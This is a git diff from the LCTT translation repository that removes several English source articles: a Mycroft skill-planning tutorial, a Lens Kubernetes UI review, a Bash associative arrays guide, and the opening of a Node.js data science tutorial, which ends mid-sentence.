to-do list apps on Linux? Feel free to let me know what you think! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/to-do-list-apps-linux/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/note-taking-apps-linux/ -[2]: https://itsfoss.com/essential-linux-applications/ -[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/open-Source-to-do-list-apps.jpg?ssl=1 -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/planner-screenshot.jpg?ssl=1 -[5]: https://todoist.com -[6]: https://elementary.io -[7]: https://flathub.org/apps/details/com.github.alainm23.planner -[8]: https://itsfoss.com/flatpak-guide/ -[9]: https://github.com/alainm23/planner -[10]: https://planner-todo.web.app/ -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/01/go-for-it-reminders.jpg?ssl=1 -[12]: http://todotxt.com -[13]: https://itsfoss.com/go-for-it-to-do-app-in-linux/ -[14]: https://play.google.com/store/apps/details?id=nl.mpcjanssen.todotxtholo&hl=en -[15]: https://flathub.org/apps/details/de.manuel_kehl.go-for-it -[16]: https://github.com/JMoerman/Go-For-It -[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/to-do-gnome.jpg?ssl=1 -[18]: https://itsfoss.com/getting-started-with-ubuntu/ -[19]: https://wiki.gnome.org/Apps/Todo/Download -[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/taskwarrior.png?ssl=1 -[21]: https://taskwarrior.org/ -[22]: https://taskwarrior.org/docs/start.html -[23]: https://wiki.manjaro.org/index.php?title=Pamac -[24]: https://itsfoss.com/install-remove-software-manjaro/ -[25]: https://taskwarrior.org/download/ -[26]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/task-coach.png?ssl=1 -[27]: https://www.taskcoach.org/download.html -[28]: https://itsfoss.com/aur-arch-linux/ -[29]: https://www.taskcoach.org/index.html -[30]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/todour.png?ssl=1 -[31]: https://github.com/SverrirValgeirsson/Todour -[32]: https://nerdur.com/todour-pl/ -[33]: https://store.kde.org/p/1152230/ -[34]: https://itsfoss.com/remember-the-milk-linux/ diff --git a/sources/tech/20200619 How to prepare to write your first Mycroft AI skill using Python.md b/sources/tech/20200619 How to prepare to write your first Mycroft AI skill using Python.md deleted file mode 100644 index 0dd35e3446..0000000000 --- a/sources/tech/20200619 How to prepare to write your first Mycroft AI skill using Python.md +++ /dev/null @@ -1,338 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to prepare to write your first Mycroft AI skill using Python) -[#]: via: (https://opensource.com/article/20/6/mycroft-voice-assistant-skill) -[#]: author: (Steve Ovens https://opensource.com/users/stratusss) - -How to prepare to write your first Mycroft AI skill using Python -====== -Planning is the essential first step in writing a skill and teaching -Mycroft how to do what you want it to do. -![A person looking at a phone][1] - -With the recent worldwide pandemic and stay-at-home orders, I have been looking for things to do to replace some of my usual activities. I started to update my home electronics setup and, as part of that, to delve into home automation. Some of my friends use Amazon's Alexa to turn lights on and off in their house, and that is appealing on some level. However, I am a privacy-conscious individual, and I was never really comfortable with devices from Google or Amazon listening to my family all the time (I'll ignore cellphones for the sake of this conversation). I have known about the open source voice assistant [Mycroft][2] for about four years, but due to early struggles with the project, I'd never investigated it too closely. The project has come a very long way since I first stumbled across it, and it checks a lot of boxes for me: - - * Self-hosted - * Easy onboarding (via Python) - * Open source - * Privacy-conscious - * Interactive chat channel - - - -In the [first article][3] in this series, I introduced Mycroft, and in the [second article][3], I touched upon the concept of skills in artificial intelligence. In its most basic form, a skill is a block of code that is executed to achieve the result desired for an intent. Intents attempt to determine _what_ you want, and a skill is the way Mycroft responds. If you can think of an outcome, there is probably a way to create a skill that makes it happen. - -At their heart, Mycroft skills are just Python programs. Generically, they have three or four sections: - - 1. The **import** section is where you load any Python modules required to accomplish the task. - 2. An optional **function** section contains snippets of code that are defined outside of the main class section. - 3. The **class** section is where all the magic happens. A class should always take the `MycroftSkill` as an argument. - 4. The **create_skill()** section is what Mycroft uses to load your skill. - - - -When I write a skill, I often start by writing a standard Python file to ensure my code does what I think it does. I do this mainly because the workflow that I am used to, including debugging tools, exists outside of the Mycroft ecosystem. Therefore, if I need to step through my code, I find it much more familiar to use my IDE ([PyCharm][4]) and its built-in tools, but this is a personal preference. - -All the code for this project can be found in my [GitLab repo][5]. - -### About intent parsers - -The skill in this project uses both the [Padatious][6] and [Adapt][7] intent parsers, which I described in my [previous][3] article. Why? First of all, this tutorial is meant to provide a concrete example of some of the features you might want to consider using in your own skill. Second, Padatious intents are very straightforward but do not support [regular expressions][8], while Adapt puts regex to good use. Also, Padatious intents aren't context-aware, which means that, while you could prompt the user for a response and then parse it following some decision-tree matrix, you might be better off using the Adapt intent parser with Mycroft's built-in context handler. Note that, by default, Mycroft assumes you are using the Padatious intent handler. Finally, it's good to note that Adapt is a keyword intent parser. This can make complex parsing cumbersome if you are not a regex ninja. (I am not.) - -## Implement the 3 T's - -Before you start writing a skill, consider the 3 T's: _Think things through_! Similar to when you're writing an outline for an essay, when you're starting to develop a skill, write down what you want your skill to do. - -This tutorial will step through writing a Mycroft skill to add items to the [OurGroceries][9] app (which I am not affiliated with). In truth, this skill was my wife's idea. She wanted an application she could use on her phone to manage her shopping lists. We tried almost a dozen apps to try to meet our individual needs—I needed an API or a way to easily interact with the backend, and she had a giant list of criteria, one of the most important was that it is easy to use from her phone. After she made her list of Must-haves, Nice-to-haves, and Wish-list items, we settled on OurGroceries. It does not have an API, but it does have a way to interact with it through JSON. There is even a [handy library][10] called `py-our-groceries` in PyPI (which I have contributed some small amount to). - -Once I had an objective and a target platform, I started to outline what the skill needed to do: - - 1. Login/authenticate - 2. Get a list of the current grocery lists - 3. Add item to a specific grocery list - 4. Add item to a category under a specific list - 5. Add a category (since OurGroceries allows items to be placed in categories) - - - -With this in mind, I started to sketch out the required Python. Here is what I came up with. - -## Create the Python sketch - -By reading the examples for the `py-our-groceries` library, I figured out I needed to import just two things: `asyncio` and `ourgroceries`. - -Simple enough. Next, I knew that I needed to authenticate with `username` and `password`, and I knew what tasks the program needed to do. So my sketch ended up looking like this: - - -``` -import asyncio -from ourgroceries import OurGroceries -import datetime -import json -import os - -USERNAME = "" -PASSWORD = "" -OG = OurGroceries(USERNAME, PASSWORD) - -def fetch_list_and_categories(): -    pass - -def return_category_id(): -    pass - -def add_to_my_list(): -    pass - -def add_category(): -    pass -``` - -I won't go into the full details of what makes this sketch tick, as that is outside the scope of this series. However, if you want, you can [view the working outline][11] in its entirety. - -Before you can begin programming, you need to have your username, password, and a list ID. The username and password are obvious. The list ID can be retrieved from the URL after clicking on the link, or more programmatically, you can use the Developer Tools for your browser of choice and inspect the objects. Here is what the Developer Tools looks like [in Firefox][12]: - -![CC BY-SA Steve Ovens][13] - -Once you have a list ID, log into OurGroceries and get a cookie. To do this, create an OurGroceries _object_ and then pass it into `asyncio`. While you are at it, you might as well define your list ID, as well: - - -``` -OG = OurGroceries(USERNAME, PASSWORD) -asyncio.run(OG.login()) -MY_LIST_ID = "a1kD7kvcMPnzr9del8XMFc" -``` - -For the purposes of this project, you need to define two object types to help organize your code: `groceries` and `categories`. The `fetch_list_and_categories` method is pretty straightforward: - - -``` -def fetch_list_and_categories(object_type=None): -    if object_type == "groceries": -        list_to_return = asyncio.run(OG.get_list_items(list_id=MY_LIST_ID)) -    elif object_type == "categories": -        list_to_return = asyncio.run(OG.get_category_items()) -    else: -        list_to_return = None -    return (list_to_return) -``` - -OurGroceries allows you to add more than one category or item with the same name. For example, if you already have "Meat" on your list and you add it again, you will see a category called "Meat (2)" (this number increments whenever you create a category with the same name). For us, this was undesirable behavior. We also wanted to avoid duplication as much as possible, so I made a rudimentary attempt at detecting plurals; for example, my code checks for both "Meat" and "Meats." I am sure there is a more intelligent way of performing these checks, but this example highlights some of the things you may want to think about as you progress. For brevity, I will omit these checks, so the `return_category_id` method looks something like this: - - -``` -def return_category_id(category_to_search_for, all_categories): -    category_to_search_for_lower = category_to_search_for.lower() -    category_id = None -    if len(all_categories['list']['items']) is not 0: -        for category_heading in all_categories['list']['items']: -            # Split the heading because if there is already a duplicate it -            # presents as "{{item}} (2)" -            category_heading_lowered = category_heading['value'].lower().split()[0] -            if category_to_search_for_lower == category_heading_lowered: -                category_id = category_heading['id'] -                break -    return(category_id) -``` - -To add an item to the list, you want to: - - 1. Check that the item does not already exist - 2. Obtain the category ID - 3. Add the item to the list under a specific category (if specified) - - - -The `add_to_my_list` method ends up something like this: - - -``` -def add_to_my_list(full_list, item_name, all_categories, category="uncategorized"): -    # check to make sure the object doesn't exist -    # The groceries live in my_full_list['list']['items'] -    # Start with the assumption that the food does not exist -    food_exists = False -    toggle_crossed_off = False -    category_lowered = category.lower() -    for food_item in full_list['list']['items']: -        if item_name in food_item['value']: -            print("Already exists") -            food_exists = True -    if not food_exists: -        category_id = return_category_id(category_lowered, all_categories) -        asyncio.run(OG.add_item_to_list(MY_LIST_ID, item_name, category_id)) -        print("Added item") -``` - -Finally, `add_category` runs the `asyncio` command to create a category if it does not already exist: - - -``` -def add_category(category_name, all_categories): -    category_id = return_category_id(category_name, all_categories) -    if category_id is None: -        asyncio.run(OG.create_category(category_name)) -        refresh_lists() -        print("Added Category") -    else: -        print("Category already exists") -``` - -You should now be able to test your sketch to make sure everything in each function works. Once you are satisfied with the sketch, you can move on to thinking about how to implement it in a Mycroft skill. - -## Plan the Mycroft skill - -You can apply the same principles you used to sketch out your Python to developing a Mycroft skill. The [official documentation][14] recommends using an interactive helper program called the Mycroft Skills Kit to set up a skill. `mycroft-msk create` asks you to: - - * Name your skill - * Enter some phrases commonly used to trigger your skill - * Identify what dialog Mycroft should respond with - * Create a skill description - * Pick an icon from `fontawesome.com/cheatsheet` - * Pick a color from `mycroft.ai/colors` or `color-hex.com` - * Define a category (or categories) where the skill belongs - * Specify the code's license - * State whether the skill will have dependencies - * Indicate whether you want to create a GitHub repo - - - -Here is a demonstration of how `mycroft-msk create` works: - -![mycroft-msk create working][15] - -(Steve Ovens, [CC BY-SA 4.0][16]) - -After you answer these questions, Mycroft creates the following structure under `mycroft-core/skills/`: - - -``` -├── __init__.py -├── locale -│   └── en-us -│       ├── ourgroceries.dialog -│       └── ourgroceries.intent -├── __pycache__ -│   └── __init__.cpython-35.pyc -├── README.md -├── settings.json -└── settingsmeta.yaml -``` - -You can ignore most of these files for now. I prefer to make sure my code is working before trying to get into Mycroft-specific troubleshooting. This way, if things go wrong later, you know it is related to how your Mycroft skill is constructed and not the code itself. As with the Python sketch, take a look at the outline that Mycroft created in `__init__.py`. - -All Mycroft skills should have an `__init__.py`. By convention, all code should go in this file, although if you are a skilled Python developer and know how this file works, you could choose to break your code out. - -Inside the file Mycroft created, you can see: - - -``` -from mycroft import MycroftSkill, intent_file_handler - -class OurGroceries(MycroftSkill): -    def __init__(self): -        MycroftSkill.__init__(self) - -    @intent_file_handler('ourgroceries.intent') -    def handle_test(self, message): -        self.speak_dialog('ourgroceries') - -def create_skill(): -    return OurGroceries() -``` - -In theory, this code will execute based on the trigger(s) you create during the `msk create` process. Mycroft first tries to find a file with the `.dialog` file extension that matches the argument passed to `selfspeak_dialog()`. In the example above, Mycroft will look for a file called `ourgroceries.dialog` and then say one of the phrases it finds there. Failing that, it will say the name of the file. I'll get more into this in a follow-up article about responses. If you want to try this process, feel free to explore the various input and output phrases you can come up with during skill creation. - -While the script is a great starting point, I prefer to think through the `__init__.py` on my own. As mentioned earlier, this skill will use both the Adapt and Padatious intent handlers, and I also want to demonstrate [conversational context handling][17] (which I'll get deeper into in the next article). So start by importing them: - - -``` -from mycroft import intent_file_handler, MycroftSkill, intent_handler -from mycroft.skills.context import adds_context, removes_context -``` - -In case you are wondering, the order you specify your import statements does not matter in Python. After the imports are done, look at the class structure. If you want to learn more about classes and their uses, [Real Python][18] has a great primer on the subject. - -As above, start by mocking up your code with its intended functionality. This section uses the same goals as the Python sketch, so go ahead and plug some of that in, this time adding some comments to help guide you: - - -``` -class OurGroceriesSkill(MycroftSkill): -    def __init__(self): -        MycroftSkill.__init__(self) -    -    # Mycroft should call this function directly when the user -    # asks to create a new item -    def create_item_on_list(self, message): -        pass -    -                # Mycroft should also call this function directly -    def create_shopping_list(self, message): -        pass -    -    # This is not called directly, but instead should be triggered -    # as part of context aware decisions -    def handle_dont_create_anyways_context(self): -        pass -                -    # This function is also part of the context aware decision tree -    def handle_create_anyways_context(self): -        pass -    -    -    def stop(self): -        pass -``` - -### The `__init__` and `initialize` methods - -A skill has a few "special" functions that you should know about. The `__init__(self)` method is called when the skill is first instantiated. In Python IDEs, variables that are declared outside of the `__init__` section will often cause warnings. Therefore, they are often used to declare variables or perform setup actions. However, while you can declare variables intended to match the skills settings file (more on this later), you cannot use the Mycroft methods (such as `self.settings.get)` to retrieve the values. It is generally not appropriate to attempt to make connections to the outside world from `__init__`. Also, the `__init__` function is considered optional within Mycroft. Most skills opt to have one, and it is considered the "Pythonic" way of doing things. - -The `initialize` method is called after the skill is fully constructed and registered with the system. It is used to perform any final setup for the skill, including accessing skill settings. It is optional, however, and I opted to create a function that gets the authentication information. I called it `_create_initial_grocery_connection`, if you are curious and want to look ahead. I will revisit these two special functions in the next article when I start walking through creating the skill code. - -Finally, there is a special function called `stop()`, which I didn't use. The stop method is called anytime a user says, "stop." If you have a long-running process or audio playback, this method is useful. - -## Wrapping up - -So you now have the outline of what you want to accomplish. This will definitely grow over time. As you develop your skill, you will discover new functionality that your skill will require to work optimally. - -Next time, I will talk about the types of intents you will use, how to set them up, and how to deal with regular expressions. I'll also explore the idea of [conversational contexts][17], which are used for getting feedback from the user. - -Do you have any comments, questions, or concerns? Leave a comment, visit me on Twitter [@linuxovens][19], or stop by [Mycroft skills chat channels][20]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/mycroft-voice-assistant-skill - -作者:[Steve Ovens][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stratusss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/idea_innovation_mobile_phone.png?itok=RqVtvxkd (A person looking at a phone) -[2]: https://mycroft.ai/ -[3]: https://opensource.com/article/20/6/open-source-voice-assistant -[4]: https://www.jetbrains.com/pycharm/ -[5]: https://gitlab.com/stratus-ss/mycroft-ourgroceries-skill -[6]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/intents/padatious-intents -[7]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/intents/adapt-intents -[8]: https://www.computerhope.com/jargon/r/regex.htm -[9]: https://www.ourgroceries.com/overview -[10]: https://github.com/ljmerza/py-our-groceries -[11]: https://gitlab.com/stratus-ss/mycroft-ourgroceries-skill/-/blob/master/talk_to_ourgroceries.py -[12]: https://developer.mozilla.org/en-US/docs/Tools -[13]: https://opensource.com/sites/default/files/resize/ourgroceries_ids-675x201.jpg (Getting an ID) -[14]: https://mycroft-ai.gitbook.io/docs/skill-development/introduction/your-first-skill -[15]: https://opensource.com/sites/default/files/uploads/msk-create-15fps.gif (mycroft-msk create working) -[16]: https://creativecommons.org/licenses/by-sa/4.0/ -[17]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/conversational-context -[18]: https://realpython.com/python3-object-oriented-programming/ -[19]: https://twitter.com/linuxovens?lang=en -[20]: https://chat.mycroft.ai/community/channels/skills diff --git a/sources/tech/20200622 Manage your Kubernetes cluster with Lens.md b/sources/tech/20200622 Manage your Kubernetes cluster with Lens.md deleted file mode 100644 index beb5127a3d..0000000000 --- a/sources/tech/20200622 Manage your Kubernetes cluster with Lens.md +++ /dev/null @@ -1,122 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manage your Kubernetes cluster with Lens) -[#]: via: (https://opensource.com/article/20/6/kubernetes-lens) -[#]: author: (Chris Collins https://opensource.com/users/clcollins) - -Manage your Kubernetes cluster with Lens -====== -Lens is a useful, attractive, open source user interface for working -with Kubernetes clusters. -![Ship captain sailing the Kubernetes seas][1] - -As more workloads are migrated to containerized environments, it becomes challenging to manage those larger numbers of containers and the connections between them and other systems. As the scale and complexity of a containerized environment increase past a human's ability to manage, container orchestration platforms such as [Kubernetes][2] become increasingly important. Such platforms, however, come with their own management challenges that require metrics, observability, and a user-friendly interface to present their huge amount of complexity. - -### Enter Lens - -[Lens][3], which bills itself as "the Kubernetes IDE," is a useful, attractive, open source user interface (UI) for working with Kubernetes clusters. Out of the box, Lens can connect to Kubernetes clusters using your kubeconfig file and will display information about the cluster and the objects it contains. Lens can also connect to—or install—a Prometheus stack and use it to provide metrics about the cluster, including node information and health. - -![Lens UI displaying an overview of workloads on the cluster][4] - -An overview of workloads on the cluster. (Chris Collins, [CC BY-SA 4.0][5]) - -Like Kubernetes' dashboard and OpenShift, Lens provides live updates on the state of objects in the cluster and metrics collected by [Prometheus][6]. - -### Get started - -Installing Lens is straightforward. [AppImage][7] packages are available for Linux, and there are binaries available for macOS and Windows clients. This tutorial explains how to download and use the Lens AppImage to install and use Lens on Linux. - -According to [AppImage's FAQ][8], an AppImage is "a downloadable file for Linux that contains an application and everything the application needs to run." An application packaged as an AppImage is just that—a single executable file that can be downloaded and run. - -The AppImage for Lens can be downloaded from the [Lens Releases][9] page on GitHub. After you download it, mark the file executable with `chmod`, and then either execute it directly or copy it to a place in your `$PATH`: - - -``` -# Download the 3.4.0 AppImage for Lens, mark it executable and copy it to your $PATH -# (output omitted for brevity) - -$ wget -$ chmod +x Lens-3.4.0.AppImage -$ sudo mv Lens-3.4.0.AppImage /usr/sbin/lens -``` - -Then you can start Lens by typing `lens` on the command line. - -### Connect Lens to a Kubernetes cluster - -Once you launch Lens, connect it to a Kubernetes cluster by clicking the **+** icon in the top-left corner and selecting a kubeconfig. Next, a drop-down box will appear containing any Kubernetes contexts from your `~/.kube/config` file, or you can select a custom one. Because cluster and authentication information about the cluster for any context is included in the kubeconfig file, Lens treats each context as a different cluster, unfortunately. - -This is particularly unhelpful compared with how OpenShift creates context information in the kubeconfig file automatically for any project (namespace) you switch to. As a site-reliability engineer (SRE) working on hundreds of clusters, I had dozens and dozens of "clusters" to choose from when setting up Lens. In practice, I found it best to select the `default` context for any cluster. You can manage all namespaces and workloads once Lens has connected, and there's no need to add them all. - -Once it's connected, Lens will display a ton of information about your cluster. You can see the workloads that are running: pods and deployments, daemon sets, cron jobs, etc. You can also view information about config maps and secrets, networking information, storage, namespaces, and events. Each will let you drill down into the information about a given object, and you can even edit the objects directly in Lens. - -![Lens displaying details of pods running on the cluster, including information on a specific pod.][10] - -Details of pods running on the cluster. (Chris Collins, [CC BY-SA 4.0][5]) - -### Gather metrics about your cluster - -One of Lens' incredibly helpful features is its ability to connect to a Prometheus stack installed in your cluster to gather metrics about the cluster and its nodes for both current and historical data. This is great for getting at-a-glance information about the cluster right within the Lens UI without having to go to an external dashboard. However, the information presented is not comprehensive–it's good for an overview, but you may still wish to utilize a visualization tool such as Grafana with a more complicated dashboard to gather more specialized information. - -Along with being able to connect to an existing Prometheus stack provisioned in the cluster, Lens can install applications on your behalf, too. This is very useful for enthusiasts running Kubernetes clusters in their homelabs to be able to deploy and connect to Prometheus in a single click. - -### Install Prometheus with Lens - -If you have been following along with this series, especially [_Build a Kubernetes cluster with the Raspberry Pi_][11], you will have a Kubernetes cluster provisioned in your homelab for education and tinkering. One thing the vanilla cluster lacks is metrics, and this is a great opportunity to add Prometheus to the cluster and install the [kube-state-metrics][12] service to gather information about the cluster. - -To install it, just right-click on the cluster icon in the top-left corner of the Lens UI (after connecting to the cluster, of course) and select **Settings**. Under **Features** on the Settings page, you will find a **Metrics** section and a button to install Prometheus. Click **Install** to deploy the Prometheus stack to your cluster, and Lens will auto-detect its existence and begin displaying metrics. (It will take a minute—the new Prometheus has to collect some metrics first.) - -I also appreciate that Lens links directly to the manifests used to deploy this stack, so you can verify what will be created before doing it, if you want. - -![Lens UI, displaying hardware utilization metrics about the cluster][13] - -Hardware utilization metrics about the cluster. (Chris Collins, [CC BY-SA 4.0][5]) - -### Fix kube-state-metrics - -Unfortunately, while Prometheus will install just fine on a Raspberry Pi-based cluster, the kube-state-metrics service will fail. Currently, the kube-state-metrics project does not build an AArch64/ARM64 image, so pods created from that image will continuously crash with `exec format error` messages in the logs. - -Luckily [this issue is being tracked][14], and the kube-state-metrics project is working toward building the infrastructure to produce official ARM images. Until then, however, you can use a community-developed image and patch the kube-state-metrics deployment directly using Lens. - -Go back into the cluster information, click on **Workloads**, and select **Deployments**. A list of all the Kubernetes deployment objects in the cluster will appear in the pane on the right. You should be able to pick out the kube-state-metrics deployment easily by the angry red entry under the **Conditions** column that indicates the crash-looping pod issue. - -Select the kube-state-metrics deployment, and details of the object will slide out from the right in an overlay window. In the upper-right corner of this window is a pencil icon. Clicking that icon opens an editor window with the YAML representation of the kube-state-metrics deployment. Scroll down, and edit the `.spec.template.spec.containers.image` value. By default, this value points to the official image: `quay.io/coreos/kube-state-metrics:v1.9.5`. - -Replace this value with `'docker.io/carlosedp/kube-state-metrics:v1.9.5'`, and click **Save**. This will trigger the deployment to roll out new kube-state-metrics pods with an ARM64 architecture, and they should become ready and begin reporting the metrics directly to Prometheus. - -### Lens lets you see clearly - -Kubernetes is complex, and any tool that makes it easier to visualize and work with Kubernetes clusters can lower the barrier of entry for new folks and make life considerably easier for experienced Kubernetes administrators. Lens knocks this out of the park with an attractive, intuitive, and easy-to-use UI for managing one or more clusters, from the 10,000-foot view down into the nitty-gritty of individual Kubernetes objects. Lens also helps display metrics about the cluster and makes installing and using a Prometheus stack to display the metrics almost push-button. - -I am extremely impressed with Lens and use it to manage several Kubernetes clusters in my own homelab, and I hope you find it useful as well. Do you have tools you like for managing or visualizing what goes on in your Kubernetes clusters? Share them in the comments, so we can all try them out! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/kubernetes-lens - -作者:[Chris Collins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clcollins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://opensource.com/resources/what-is-kubernetes -[3]: https://k8slens.dev/ -[4]: https://opensource.com/sites/default/files/uploads/lens2.png (Lens UI displaying an overview of workloads on the cluster) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://opensource.com/sitewide-search?search_api_views_fulltext=prometheus -[7]: https://opensource.com/article/20/6/appimages -[8]: https://docs.appimage.org/user-guide/faq.html#question-what-is-an-appimage -[9]: https://github.com/lensapp/lens/releases/latest -[10]: https://opensource.com/sites/default/files/uploads/lens3.png (Lens displaying details of pods running on the cluster, including information on a specific pod.) -[11]: https://opensource.com/article/20/6/kubernetes-raspberry-pi -[12]: https://github.com/kubernetes/kube-state-metrics -[13]: https://opensource.com/sites/default/files/uploads/lens1.png (Lens UI, displaying hardware utilization metrics about the cluster) -[14]: https://github.com/kubernetes/kube-state-metrics/issues/1037 diff --git a/sources/tech/20200623 Take control of your data with associative arrays in Bash.md b/sources/tech/20200623 Take control of your data with associative arrays in Bash.md deleted file mode 100644 index eb178a4677..0000000000 --- a/sources/tech/20200623 Take control of your data with associative arrays in Bash.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Take control of your data with associative arrays in Bash) -[#]: via: (https://opensource.com/article/20/6/associative-arrays-bash) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Take control of your data with associative arrays in Bash -====== -Associative arrays let you create lists of key and value pairs, instead -of just numbered values. -![bash logo on green background][1] - -If you've ever written code, whether it's a shell script, a Python script, C++, or even Scratch, then you know that variables are vital. Computers and coders use variables as waystations, where they surreptitiously pass information back and forth. For instance, if you need to process a user's name in a shell script, you might set up a variable, put the username into the variable, and then instruct the computer to do something to the variable (check it against a list of authorized users, for example). Variables are important because they enable code to by dynamic: they're placeholders for information that's expected to change every time you run the code. - -But variables, because they're so common, can also become rather unwieldy. Often times, you gather so many variables in a code project that it's next to impossible to keep track of them all. You can use clever conventions, such as prefixing all related variables with a common string (user_name, user_pass, user_time, and so on), or you can create a master list of them somewhere for easy reference, but the overhead of keeping track of it all can becoming taxing. - -One answer to this problem has, traditionally, been arrays. These have worked well in most coding languages, including shell scripting languages like Bash. - -Most shells offer the ability to create, manipulate, and query indexed arrays. In plain English, an indexed array is a list of things prefixed with a number. This list of things, along with their assigned number, is conveniently wrapped up in a single variable, which makes it easy to "carry" around in your code. - -[Bash][2], however, includes the ability to create associative arrays, and it treats these arrays the same as any other array. An associative array lets you create lists of key and value pairs, instead of just numbered values. - -You can assign values to arbitrary keys: - - -``` -$ declare -A userdata -$ userdata[name]=seth -$ userdata[pass]=8eab07eb620533b083f241ec4e6b9724 -$ userdata[login]=`date --utc +%s` -``` - -Query any key: - - -``` -$ echo "${userdata[name]}" -seth -$ echo "${userdata[login]}" -1583362192 -``` - -Most of the usual array operations you'd expect from an array are available. For instance, you can list all values: - - -``` -$ echo "${userdata[*]}" -8eab07eb620533b083f241ec4e6b9724 seth 1583362192 -``` - -You can view the entire array: - - -``` -$ typeset -A -declare -A BASH_ALIASES='()' -declare -A BASH_CMDS='()' -declare -A userdata='([pass]="8eab07eb620533b083f241ec4e6b9724" -[name]="seth" -[login]="1583362192" )' -``` - -You can also remove items from your array using the **unset** command: - - -``` -$ unset userdata[pass] -$ typeset -A -[...] -declare -A userdata='([name]="seth" -[login]="1583362192" )' -``` - -Finally, you can dismiss the entire array. - - -``` -`$ unset "userdata[*]"` -``` - -### Arrays for data - -Arrays are useful tools for storing related data together. You can use a plain old variable in most cases, but sometimes it's more logical to store attributes of a singular data "object" in an array, to keep the data consolidated and indexed. For example, if you're processing login names and times taken from **utmp**, it would be more useful for you to _associate_ the login time with the user to whom the time referred, rather than just storing the two data objects as separate variables with no obvious connection. - -Furthermore, unlike variables, an entry in an array doesn't need to exist before you store data in it. You don't have to know exactly how much data is going to get stored before you store it. That can be a big advantage if you're processing data that you can't control or predict: if you don't know how many users to expect in **utmp** one day to the next, it's hard to build a script to contain all the entries. With an array, though, all you have to do is declare one array and read data into it, creating a new key and value pair until you run out of data to ingest. - -Arrays are powerful, and they're common in programming languages beyond Bash. Start using them now! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/associative-arrays-bash - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bash_command_line.png?itok=k4z94W2U (bash logo on green background) -[2]: https://opensource.com/resources/what-bash diff --git a/sources/tech/20200624 A surprising way to do data science with Node.js.md b/sources/tech/20200624 A surprising way to do data science with Node.js.md deleted file mode 100644 index 0a73306647..0000000000 --- a/sources/tech/20200624 A surprising way to do data science with Node.js.md +++ /dev/null @@ -1,450 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A surprising way to do data science with Node.js) -[#]: via: (https://opensource.com/article/20/6/server-side-data-science-nodejs) -[#]: author: (Cristiano L. Fontana https://opensource.com/users/cristianofontana) - -A surprising way to do data science with Node.js -====== -Do a common data science task with Node.js and D3.js. -![Computer screen with files or windows open][1] - -[JavaScript][2] (also known as JS) is the [lingua franca][3] of the web, as it is supported by all the major web browsers—the other languages that run in browsers are [transpiled][4] (or translated) to JavaScript. Sometimes JS [can be confusing][5], but I find it pleasant to use because I try to stick to the [good parts][6]. JavaScript was created to run in a browser, but it can also be used in other contexts, such as an [embedded language][7] or for [server-side applications][8]. - -In this tutorial, I will explain how to write a program that will run in Node.js, which is a runtime environment that can execute JavaScript applications. What I like the most about Node.js is its [event-driven architecture][9] for [asynchronous programming][10]. With this approach, functions (aka callbacks) can be attached to certain events; when the attached event occurs, the callback executes. This way, the developer does not have to write a main loop because the runtime takes care of that. - -JavaScript also has new [async functions][11] that use a different syntax, but I think they hide the event-driven architecture too well to use them in a how-to article. So, in this tutorial, I will use the traditional callbacks approach, even though it is not necessary for this case. - -### Understanding the program task - -The program task in this tutorial is to: - - * Read some data from a [CSV file][12] that contains the [Anscombe's quartet][13] dataset - * Interpolate the data with a straight line (i.e., _f(x) = m·x + q_) - * Plot the result to an image file - - - -For more details about this task, you can read the previous articles in this series, which do the same task in [Python and GNU Octave][14] and [C and 